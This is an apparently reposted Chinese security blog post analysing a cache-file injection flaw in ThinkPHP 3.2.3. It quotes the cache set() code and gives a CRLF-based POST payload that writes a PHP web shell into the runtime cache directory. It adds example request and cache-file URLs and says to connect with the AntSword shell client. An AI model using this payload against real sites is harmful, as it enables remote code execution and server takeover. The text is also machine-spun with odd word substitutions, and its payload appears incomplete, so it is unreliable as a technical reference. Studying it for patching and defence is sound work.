Thinkphp 3.2.3 缓存漏洞

影响版本

Thinkphp 3.2.3
 


 

破绽剖析

直接跟进到/Library/Think/Cache/File.class.php文件,看到set办法:

/**
写入缓存

@access public

@param string $name 缓存变量名

@param mixed $value 存储数据

@param int $expire 有效时间 0为永世

@return boolean */ public function set($name,$value,$expire=null) { N('cache_write',1); if(is_null($expire)) { $expire = $this->options['expire']; } $filename = $this->filename($name); $data = serialize($value); if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) { //数据紧缩 $data = gzcompress($data,3); } if(C('DATA_CACHE_CHECK')) {//开启数据校验 $check = md5($data); }else { $check = ''; } $data = "<?phpn//".sprintf('%012d',$expire).$check.$data."n?>"; //data参数经过序列化,直接被写到文件内。

$result = file_put_contents($filename,$data); if($result) { if($this->options['length']>0) { // 记载缓存队列 $this->queue($name); } clearstatcache(); return true; }else { return false; } }

写一个调用缓存函数的的办法,运转一下。看看写进去什么

<?php namespace HomeController; use ThinkController; class IndexController extends Controller {
    public function index(){
        $a=I('post.a3');
        S('name',$a);
    }
}

在set办法下断点,访问 http://www.0-sec.org/index.php/Home/Index/index.html ,post数据:a3=aaaa

图片[1]-Thinkphp 3.2.3 缓存漏洞-孤勇者社区

能够看到$data参数经过序列化,直接写入php后缀的文件。F9运转能够看到,在Application/Runtime/Temp/文件夹下生成了php文件。

图片[2]-Thinkphp 3.2.3 缓存漏洞-孤勇者社区

写入到文件被行注释了。

$data参数未过滤%0d%0a能够用换行来绕过行注释,尝试post数据:
 

a3=%0d%0a($_POST['cmd']);%0d%0a//

图片[3]-Thinkphp 3.2.3 缓存漏洞-孤勇者社区

之后用蚁剑衔接胜利

图片[4]-Thinkphp 3.2.3 缓存漏洞-孤勇者社区

Thinkphp3.2.3
破绽文件位置(普通审计得出)

http://www.0-sec.org/index.php/Home/Index/get?id=%0d%0a($_POST['cmd']);%0d%0a//

缓存文件为缓存名的md5值,这里采用md5(name)=b068931cc450442b63f5b3d276ea4297

http://www.0-sec.org/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php

之后蚁剑衔接。
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像李卡0